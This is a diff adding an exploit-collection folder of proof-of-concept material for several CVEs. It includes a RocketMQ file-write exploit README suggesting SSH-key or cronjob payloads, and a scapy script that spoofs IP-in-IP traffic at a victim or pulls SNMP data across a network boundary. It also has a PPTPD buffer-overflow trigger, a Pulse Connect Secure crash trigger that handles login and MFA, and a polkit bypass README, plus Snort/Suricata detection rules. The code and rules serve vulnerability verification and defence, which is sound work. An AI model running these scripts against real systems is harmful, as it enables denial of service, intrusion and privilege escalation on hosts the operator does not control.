@ -0,0 +1,50 @@
|
||||
# CVE-2023-37582_EXPLOIT
|
||||
Apache RocketMQ Arbitrary File Write Vulnerability Exploit Demo
|
||||
|
||||
# Overview
|
||||
In fact, the Arbitrary file write vulnerability(CVE-2023-37582) in Apache RocketMQ has already been addressed in the CVE-2023-33246 RCE vulnerability.
|
||||
However, the fix provided for [CVE-2023-33246](https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT) RCE is not comprehensive as it only resolves the impact on RocketMQ's broker.
|
||||
This vulnerability affects RocketMQ's nameserver, and exploiting it allows for arbitrary file write capabilities.
|
||||
|
||||
|
||||
|
||||
|
||||
# Setup local RocketMQ environment via Docker
|
||||
```bash
|
||||
|
||||
# start name server
|
||||
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.6 sh mqnamesrv
|
||||
|
||||
# start broker
|
||||
docker run -d --name rmqbroker \
|
||||
--link rmqnamesrv:namesrv \
|
||||
-e "NAMESRV_ADDR=namesrv:9876" \
|
||||
-p 10909:10909 \
|
||||
-p 10911:10911 \
|
||||
-p 10912:10912 \
|
||||
apache/rocketmq:4.9.6 sh mqbroker \
|
||||
-c /home/rocketmq/rocketmq-4.9.6/conf/broker.conf
|
||||
|
||||
```
|
||||
|
||||
# Exploit
|
||||
|
||||
It is important to note that the exploit provided is for demonstration purposes only.
|
||||
The current exploit allows for the writing of a file to the nameserver's `/tmp/pwned` directory.
|
||||
Modifying the content of the `body` variable allows for the exploitation of this vulnerability by writing an OpenSSH private key or adding a cronjob.
|
||||
However, it is crucial to remember that such activities are unauthorized and can lead to serious security breaches.
|
||||
It is strongly advised to refrain from engaging in any malicious activities and to prioritize responsible and ethical cybersecurity practices.
|
||||
|
||||
```
|
||||
usage: CVE-2023-37582.py [-h] [-ip IP] [-p P]
|
||||
|
||||
RocketMQ Exploit
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-ip IP Nameserver address
|
||||
-p P Nameserver listen port
|
||||
```
|
||||
|
||||
# References
|
||||
[RocketMQ commit: Fix incorrect naming](https://github.com/apache/rocketmq/pull/6843/files)
|
40
00-CVE_EXP/cve-2020-10136/README.md
Normal file
@ -0,0 +1,40 @@
|
||||
# cve-2020-10136
|
||||
You can use this code to verify if your device supports default IP-in-IP
|
||||
encapsulation from arbitrary sources to arbitrary destinations. The intended
|
||||
use of this code requires at least two more devices with distinct IP
|
||||
addresses for these two devices. The testing in "bypass" mode requires
|
||||
the vulnerable device to be "dual-homed" so routing to the "inside"
|
||||
network from an external network interface can be verified.
|
||||
|
||||
Spoof mode:
|
||||

|
||||
|
||||
The demonstration script can be used in two ways - spoof mode and
|
||||
bypass mode. Initial setup requires at least three devices for this
|
||||
testing. In the simple spoofing mode, attacker will send a IP-in-IP
|
||||
packet from their device to a vulnerable machine
|
||||
(VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's
|
||||
device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS
|
||||
capability to send unsolicited traffic to VICTIM_IP. Because this
|
||||
packet has valid source and destination, anti-spoofing measure such as
|
||||
BCP-38 will not block this crafted packet. The intended traffic can be
|
||||
routed through the VULNERABLE_IP to the VICTIM_IP device by an
|
||||
unauthenticated attacker.
|
||||
|
||||
Bypass mode:
|
||||

|
||||
|
||||
In the bypass mode (using all 4 arguments for the script), the
|
||||
attacker will send a crafted IP-in-IP packet from the attacker's
|
||||
device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The
|
||||
vulnerable device will receive and decapsulate the packet and forward
|
||||
the inner IP packet to the victim device (VICTIM_IP sys.argv[2])
|
||||
machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The
|
||||
attacker can thus solicit information using the sample SNMP query to
|
||||
be sent to DATA_COLLECT_IP which he has access to. In the provided
|
||||
example, device at the VICTIM_IP address is assumed to have SNMP
|
||||
enabled with the standard "public" community string for read-only
|
||||
access. SNMP is being demonstrated here, but this forwarding behavior
|
||||
can allow for many types of unexpected IP traffic to traverse using
|
||||
the vulnerable machine as a forwarding point for any nefarious
|
||||
communications as planned by the attacker.
|
BIN
00-CVE_EXP/cve-2020-10136/bypass.png
Normal file
After Width: | Height: | Size: 27 KiB |
6
00-CVE_EXP/cve-2020-10136/cve-2020-10136.rules
Normal file
@ -0,0 +1,6 @@
|
||||
#This Snort IDS rule looks for any IP-in-IP traffic, whether
|
||||
#intentional or not. Further filtering can be applied to ignore sources
|
||||
#and destinations that are allowed by your policy to route IP-in-IP
|
||||
#traffic.
|
||||
alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397;
|
||||
rev:1;)
|
29
00-CVE_EXP/cve-2020-10136/ip-in-ip-scan.py
Normal file
@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env python3
|
||||
#Thanks to Yannay Livneh for sharing this PoC script
|
||||
#PoC script slightly modified to test bypass mode
|
||||
import sys
|
||||
from scapy.all import *
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
|
||||
print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
|
||||
sys.exit(0);
|
||||
## IP-in-IP forwarding device vulnerable to VU-636397
|
||||
VULNERABLE_MACHINE_IP = sys.argv[1]
|
||||
## VICTIM IP of the machine we want to send packet to
|
||||
VICTIM_IP = sys.argv[2]
|
||||
|
||||
if len(sys.argv) == 5 and sys.argv[4] == "bypass":
|
||||
## Address we want to send the return traffic back to
|
||||
DATA_COLLECT_IP = sys.argv[3]
|
||||
## LAN bypass mode to jump into VICTIM_IP network
|
||||
## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
|
||||
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
|
||||
SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
|
||||
else:
|
||||
## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
|
||||
## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
|
||||
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
|
||||
Raw(load="I am Vulnerable\n"))
|
||||
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
|
||||
## tcpdump -i any -nvvv udp port 3363
|
||||
|
BIN
00-CVE_EXP/cve-2020-10136/spoof.png
Normal file
After Width: | Height: | Size: 17 KiB |
9
00-CVE_EXP/cve-2020-12695/README.md
Normal file
@ -0,0 +1,9 @@
|
||||
# CVE-2020-12695 vulnerability information
|
||||
|
||||
Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule.
|
||||
|
||||
1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors.
|
||||
|
||||
2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability.
|
||||
|
||||
3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger)
|
4
00-CVE_EXP/cve-2020-12695/cve-2020-12695.rules
Normal file
@ -0,0 +1,4 @@
|
||||
#Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP
|
||||
#method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that
|
||||
#accept HTTP method in lowercase.
|
||||
alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;)
|
33
00-CVE_EXP/cve-2020-8597-pptpd/README.md
Normal file
@ -0,0 +1,33 @@
|
||||
# cve-2020-8597-pptpd
|
||||
You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability.
|
||||
Usage
|
||||
prompt# ./pptp_poc.py
|
||||
Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597
|
||||
|
||||
prompt# ./pptp_poc.py 172.19.12.21
|
||||
Initiating communications with PPTP server 172.19.12.21
|
||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
||||
Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet
|
||||
|
||||
prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24
|
||||
Initiating communications with PPTP server 172.19.12.24
|
||||
.... debug info ....
|
||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
||||
Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet
|
||||
|
||||
prompt# ./pptp_poc.py 172.19.12.254
|
||||
Initiating communications with PPTP server 172.19.12.254
|
||||
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
|
||||
Server 172.19.12.254 is likely NOT vulnerable to buffer overflow
|
||||
Verifying peer 172.19.12.254 one more time using a Echo request to the peer
|
||||
Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable
|
||||
|
||||
There are some sample PCAP file with exploit (and without exploit) and matching
|
||||
snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file
|
||||
for details
|
||||
|
||||
###
|
||||
|
||||
Copyright and license:
|
||||
See License under https://github.com/CERTCC/PoC-Exploits
|
||||
|
15
00-CVE_EXP/cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules
Normal file
@ -0,0 +1,15 @@
|
||||
#IDS rules are bound to have false/positive and false/negatives at times. Note:
|
||||
#these can be easily evaded by padding and other tricks done when packet crafting.
|
||||
#USE AT YOUR OWN RISK!
|
||||
#We have done our best to avoid false/negatives. There is a sample pcap file in
|
||||
#this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer
|
||||
#overflow payload (256 length hostname 'AA..A') and one that does not (255 length
|
||||
#hostname with 'AA..A')
|
||||
#GRE packet ip_proto == 47
|
||||
#This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge
|
||||
#PPP - EAP-MD5 Challenge packet == 0xc22701
|
||||
#Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not
|
||||
#included in the dsize.
|
||||
#Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4)
|
||||
#Using GRE rules SID format 116:161:*
|
||||
alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;)
|
BIN
00-CVE_EXP/cve-2020-8597-pptpd/gre-samples.pcap
Normal file
165
00-CVE_EXP/cve-2020-8597-pptpd/pptp_poc.py
Normal file
@ -0,0 +1,165 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from scapy.all import *
|
||||
import socket
|
||||
import sys
|
||||
import signal
|
||||
import os
|
||||
conf_ack_received = False
|
||||
conf_ack_sent = False
|
||||
debug = False
|
||||
|
||||
if os.environ.get("DEBUG"):
|
||||
debug = True
|
||||
|
||||
def pkt_callback(pkt):
|
||||
global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug
|
||||
if debug:
|
||||
print("Received a GRE packet that shows continued conversation for EAP")
|
||||
pkt.show()
|
||||
if pkt.haslayer(PPP):
|
||||
if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223
|
||||
conf_ack_received = True
|
||||
if debug:
|
||||
print("Received a CHAP challenge from peer ignoring")
|
||||
print("Assuming we received a Conf-Ack already")
|
||||
return
|
||||
if pkt.haslayer(EAP):
|
||||
if pkt.getlayer(EAP).code == 2 :
|
||||
#EAP Response received for the sent EAP request with bad payload
|
||||
if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok
|
||||
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
|
||||
sys.exit(0)
|
||||
if pkt.haslayer(PPP_LCP_Configure) :
|
||||
p_layer = pkt.getlayer(PPP_LCP_Configure)
|
||||
cid = p_layer.id
|
||||
if p_layer.code == 2:
|
||||
if debug:
|
||||
print("Received Conf ack we are all okay")
|
||||
conf_ack_received = True
|
||||
if conf_ack_sent == True:
|
||||
return
|
||||
else:
|
||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
||||
if p_layer.code == 1: #config request
|
||||
if debug:
|
||||
print("Received another Config-Request, should reply this")
|
||||
pkt.show()
|
||||
server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/
|
||||
HDLC()/PPP()/
|
||||
PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug)
|
||||
conf_ack_sent = True
|
||||
if conf_ack_received:
|
||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
||||
|
||||
if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1
|
||||
if debug:
|
||||
print("We received a Echo-Reply back for ID=4 ping request")
|
||||
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
|
||||
def handler(signum, frame):
|
||||
if debug:
|
||||
print("Timeout has expired")
|
||||
raise Exception('Timed out')
|
||||
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
|
||||
sys.exit(0)
|
||||
dst = sys.argv[1]
|
||||
#default pptp port
|
||||
dport = 1723
|
||||
|
||||
print("Initiating communications with PPTP server %s " %(dst))
|
||||
signal.signal(signal.SIGALRM, handler)
|
||||
#6 seconds for first TCP response
|
||||
signal.alarm(6)
|
||||
#TCP communications
|
||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
client.connect((dst, dport))
|
||||
cstream = StreamSocket(client)
|
||||
|
||||
|
||||
# initialize PPTP session
|
||||
call_id = random.randint(1000,10000)
|
||||
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
|
||||
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
|
||||
#revision is not properly parsed
|
||||
vr.protocol_version=256
|
||||
|
||||
cstream.sr1(vr,verbose=debug)
|
||||
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
|
||||
call_reply = PPTPOutgoingCallReply(call_reply)
|
||||
|
||||
signal.alarm(0)
|
||||
#Another 6 seconds to do GRE connection
|
||||
signal.alarm(6)
|
||||
# GRE communications
|
||||
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
|
||||
gre_socket.connect((dst,dport))
|
||||
gre_stream = SimpleSocket(gre_socket)
|
||||
#send configuration request
|
||||
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
|
||||
HDLC()/PPP()/
|
||||
PPP_LCP_Configure(id=0x1,options=[
|
||||
PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
|
||||
server_conf_request = IP(server_conf_request)
|
||||
|
||||
|
||||
signal.alarm(0)
|
||||
# give 9 seconds for configure ack to complete
|
||||
signal.alarm(9)
|
||||
tries = 0
|
||||
try:
|
||||
while conf_ack_received == False or tries < 9:
|
||||
sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
|
||||
tries = tries + 1
|
||||
except:
|
||||
if debug:
|
||||
print("Never could recevie a configureation ack from peer due to Timeout")
|
||||
tries = 9
|
||||
if conf_ack_received == False and tries > 8:
|
||||
print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
|
||||
print("Server %s is in UNKNOWN state" %(sys.argv[1]))
|
||||
sys.exit(0)
|
||||
signal.alarm(0)
|
||||
|
||||
print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")
|
||||
|
||||
bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)
|
||||
|
||||
gre_stream.send(bad_pkt)
|
||||
|
||||
#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
|
||||
signal.alarm(3)
|
||||
try:
|
||||
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
||||
except:
|
||||
print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
|
||||
sys.exit(0)
|
||||
print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1]))
|
||||
signal.alarm(0)
|
||||
|
||||
print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1]))
|
||||
signal.alarm(3)
|
||||
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
|
||||
#pptp server with the bad payload
|
||||
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
|
||||
HDLC()/PPP()/
|
||||
PPP_LCP_Configure(code=0x9,id=4))
|
||||
|
||||
|
||||
try:
|
||||
PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
|
||||
except:
|
||||
print("Did not received PPP Echo Reply, check the logs on the server to verify status")
|
||||
sys.exit(0)
|
||||
|
||||
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")
|
||||
|
||||
sys.exit(0)
|
||||
|
31
00-CVE_EXP/cve-2021-22908/README.md
Normal file
@ -0,0 +1,31 @@
|
||||
# cve-2021-22908
|
||||
|
||||
This python3 script checks for Pulse Connect Secure servers vulnerable to
|
||||
[VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation.
|
||||
|
||||
## Usage modes:
|
||||
`cve-2021-22908.py <host>`
|
||||
This mode will interactively log in to a PCS server to obtain a DSID value.
|
||||
|
||||
`cve-2021-22908.py <host> -d <DSID>`
|
||||
In the case were a PCS user's DSID is already known, this mode will skip the
|
||||
interactive login exchange.
|
||||
|
||||
`cve-2021-22908.py <host> -n`
|
||||
If you do not have authentication available for the target PCS, you can check
|
||||
for only the presence of the Workaround-2105.xml mitigation.
|
||||
|
||||
|
||||
## Results:
|
||||
`HTTP 500`
|
||||
This is indicative of a vulnerable PCS server, due to a crashing CGI.
|
||||
|
||||
`HTTP 403. XML workaround applied`
|
||||
This is indicative of a PCS server that has an XML mitigation applied.
|
||||
|
||||
`HTTP 200. Windows File Access Policies prevents exploitation.`
|
||||
This is indicative of a PCS server that has "Windows File Access Policies"
|
||||
configured in a way that prevents exploitation.
|
||||
|
||||
`HTTP %s. Not vulnerable.`
|
||||
The PCS server does not appear to be vulnerable.
|
263
00-CVE_EXP/cve-2021-22908/cve-2021-22908.py
Normal file
@ -0,0 +1,263 @@
|
||||
#!/usr/bin/env python3
|
||||
# Utility to check for Pulse Connect Secure CVE-2021-22908
|
||||
# https://www.kb.cert.org/vuls/id/667933
|
||||
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
import argparse
|
||||
import sys
|
||||
from html.parser import HTMLParser
|
||||
import getpass
|
||||
|
||||
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
|
||||
parser.add_argument('host', type=str, help='PCS IP or hostname)')
|
||||
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
|
||||
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
|
||||
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
|
||||
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
|
||||
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
|
||||
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
class formvaluefinder(HTMLParser):
|
||||
def __init__(self, searchval):
|
||||
super(type (self), self).__init__()
|
||||
self.searchval = searchval
|
||||
def handle_starttag(self, tag, attrs):
|
||||
if tag == 'input':
|
||||
# We're just looking for form <input> tags
|
||||
foundelement = False
|
||||
for attr in attrs:
|
||||
if(attr[0] == 'name'):
|
||||
if(attr[1] == self.searchval):
|
||||
foundelement = True
|
||||
elif(attr[0] == 'value' and foundelement == True):
|
||||
self.data = attr[1]
|
||||
|
||||
class preauthfinder(HTMLParser):
|
||||
foundelement = False
|
||||
def handle_starttag(self, tag, attrs):
|
||||
if tag == 'textarea':
|
||||
# We're just looking for <textarea> tags
|
||||
foundelement = False
|
||||
for attr in attrs:
|
||||
if(attr[0] == 'id'):
|
||||
if(attr[1] == 'sn-preauth-text_2'):
|
||||
self.foundelement = True
|
||||
def handle_data(self, data):
|
||||
if self.foundelement:
|
||||
self.data = data
|
||||
self.foundelement = False
|
||||
|
||||
|
||||
|
||||
def get_realm(host, defaulturi):
|
||||
realm = None
|
||||
print('Getting default realm for %s...' % host)
|
||||
url = 'https://%s%s' % (host,defaulturi)
|
||||
res = None
|
||||
try:
|
||||
res = requests.get(url, verify=False, timeout=10)
|
||||
except requests.exceptions.ConnectionError:
|
||||
print('Error retrieving %s' % url)
|
||||
|
||||
if res:
|
||||
if res.status_code == 200:
|
||||
html = str(res.content)
|
||||
if 'sn-preauth-text_2' in html:
|
||||
print('Preauth required...')
|
||||
parser = preauthfinder()
|
||||
parser.feed(html)
|
||||
preauthtext = parser.data
|
||||
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
|
||||
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
|
||||
if res.content:
|
||||
parser = formvaluefinder('realm')
|
||||
parser.feed(str(res.content))
|
||||
realm = parser.data
|
||||
else:
|
||||
print('Error retrieving login page')
|
||||
|
||||
else:
|
||||
parser = formvaluefinder('realm')
|
||||
parser.feed(html)
|
||||
realm = parser.data
|
||||
return realm
|
||||
|
||||
def get_dsid(host, defaulturi, realm, user, password):
|
||||
dsid = None
|
||||
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
|
||||
url = 'https://%s%s' % (host,loginuri)
|
||||
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
|
||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
||||
if 'confirm' in res.headers['location']:
|
||||
# Redirect to "user-confirm" that they still want to log in, despite already
|
||||
# having an active session
|
||||
print('User session is already active! Proceeding...')
|
||||
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
|
||||
parser = formvaluefinder('FormDataStr')
|
||||
parser.feed(str(res.content))
|
||||
formdata = parser.data
|
||||
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
|
||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
||||
for cookie in res.cookies:
|
||||
if cookie.name == 'DSID':
|
||||
dsid = cookie.value
|
||||
elif 'cred' in res.headers['location']:
|
||||
# This is a pulse that requires 2FA
|
||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
|
||||
for cookie in res.cookies:
|
||||
if cookie.name == 'id':
|
||||
key = cookie.value
|
||||
password2 = input('MFA code: ')
|
||||
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
|
||||
cookies = {'id': key, 'DSSigninNotif': '1'}
|
||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
|
||||
if 'confirm' in res.headers['location']:
|
||||
# Redirect to "user-confirm" that they still want to log in, despite already
|
||||
# having an active session
|
||||
print('User session is already active! Proceeding...')
|
||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
|
||||
parser = formvaluefinder('FormDataStr')
|
||||
parser.feed(str(res.content))
|
||||
formdata = parser.data
|
||||
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
|
||||
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
|
||||
for cookie in res.cookies:
|
||||
if cookie.name == 'DSID':
|
||||
dsid = cookie.value
|
||||
else:
|
||||
for cookie in res.cookies:
|
||||
if cookie.name == 'DSID':
|
||||
dsid = cookie.value
|
||||
elif 'failed' in res.headers['location']:
|
||||
print('Login failed!')
|
||||
else:
|
||||
# Login accepted
|
||||
for cookie in res.cookies:
|
||||
if cookie.name == 'DSID':
|
||||
dsid = cookie.value
|
||||
|
||||
return dsid
|
||||
|
||||
|
||||
def get_xsauth(host, dsid):
|
||||
xsauth = None
|
||||
url = 'https://%s/dana/home/index.cgi' % host
|
||||
cookies = {'DSID':dsid}
|
||||
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
|
||||
if 'xsauth' in str(res.content):
|
||||
parser = formvaluefinder('xsauth')
|
||||
parser.feed(str(res.content))
|
||||
xsauth = parser.data
|
||||
else:
|
||||
print('Cannot find xsauth string for provided DSID: %s' % dsid)
|
||||
return xsauth
|
||||
|
||||
def trigger_vul(host, dsid, xsauth):
|
||||
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
|
||||
values = {
|
||||
't': 's',
|
||||
'v': '%s,,' % ('A' * 1800),
|
||||
'dir': 'tmp',
|
||||
'si': None,
|
||||
'ri': None,
|
||||
'pi': None,
|
||||
'confirm': 'yes',
|
||||
'folder': 'tmp',
|
||||
'acttype': 'create',
|
||||
'xsauth': xsauth,
|
||||
'create': 'Create Folder',
|
||||
}
|
||||
cookies = {'DSID': dsid}
|
||||
try:
|
||||
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
|
||||
status = res.status_code
|
||||
if 'DSIDFormDataStr' in str(res.content):
|
||||
# We got page asking to confirm our action
|
||||
print('xsauth value was not accepted')
|
||||
else:
|
||||
if status == 200 and 'Error FB-8' in str(res.content):
|
||||
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
|
||||
elif status == 200:
|
||||
print('HTTP %s. Not vulnerable.' % status)
|
||||
elif status == 403:
|
||||
print('HTTP %s. XML workaround applied.' % status)
|
||||
elif status == 500:
|
||||
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
|
||||
elif status == 302:
|
||||
print('HTTP %s. Are you sure your DSID is valid?' % host)
|
||||
else:
|
||||
print('HTTP %s. Not sure how to interpret this result.' % status)
|
||||
except requests.exceptions.ReadTimeout:
|
||||
print('No response from server. Try again...')
|
||||
|
||||
|
||||
def get_default(host):
|
||||
url = 'https://%s' % host
|
||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
||||
try:
|
||||
location = res.headers['location']
|
||||
if 'dana-na' not in location:
|
||||
print('%s does not seem to be a PCS host' % host)
|
||||
location = None
|
||||
except:
|
||||
pass
|
||||
return location
|
||||
|
||||
def check_xml(host):
|
||||
url = 'https://%s/dana/meeting' % host
|
||||
#print('Checking status of %s ...' % url)
|
||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
||||
if res.status_code == 403:
|
||||
print('Workaround-2104 appears to be installed')
|
||||
else:
|
||||
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
|
||||
|
||||
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
|
||||
#print('Checking status of %s ...' % url)
|
||||
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
|
||||
if res.status_code == 403:
|
||||
print('Workaround-2105 appears to be installed')
|
||||
else:
|
||||
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
|
||||
|
||||
|
||||
host = args.host
|
||||
if args.noauth:
|
||||
check_xml(host)
|
||||
else:
|
||||
defaulturi = get_default(host)
|
||||
if defaulturi:
|
||||
|
||||
if not args.realm:
|
||||
realm = get_realm(host, defaulturi)
|
||||
else:
|
||||
realm = args.realm
|
||||
|
||||
if realm:
|
||||
print('Realm: %s' % realm)
|
||||
if not args.user and not args.dsid:
|
||||
user = input('User: ')
|
||||
else:
|
||||
user = args.user
|
||||
if not args.password and not args.dsid:
|
||||
password = getpass.getpass()
|
||||
else:
|
||||
password = args.password
|
||||
if not args.dsid:
|
||||
dsid = get_dsid(host, defaulturi, realm, user, password)
|
||||
print('DSID: %s' % dsid)
|
||||
else:
|
||||
dsid = args.dsid
|
||||
if dsid:
|
||||
if not args.xsauth:
|
||||
xsauth = get_xsauth(host, dsid)
|
||||
print('xsauth: %s' % xsauth)
|
||||
else:
|
||||
xsauth = args.xsauth
|
||||
if xsauth:
|
||||
trigger_vul(host, dsid, xsauth)
|
21
00-CVE_EXP/cve-2021-3560/README.md
Normal file
@ -0,0 +1,21 @@
|
||||
# cve-2021-3560
|
||||
|
||||
## Vulnerability Info
|
||||
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
|
||||
|
||||
## PackageKit Exploit
|
||||
### Installing Packages
|
||||
`install.py` can be used to install a package (such as gnome-control-center) bypassing authentication on systems vulnerable to CVE-2021-3560
|
||||
|
||||
The package ID will need to include the semicolons so the quotations are necessary. To determine a valid package id, use the included `search.py` script
|
||||
|
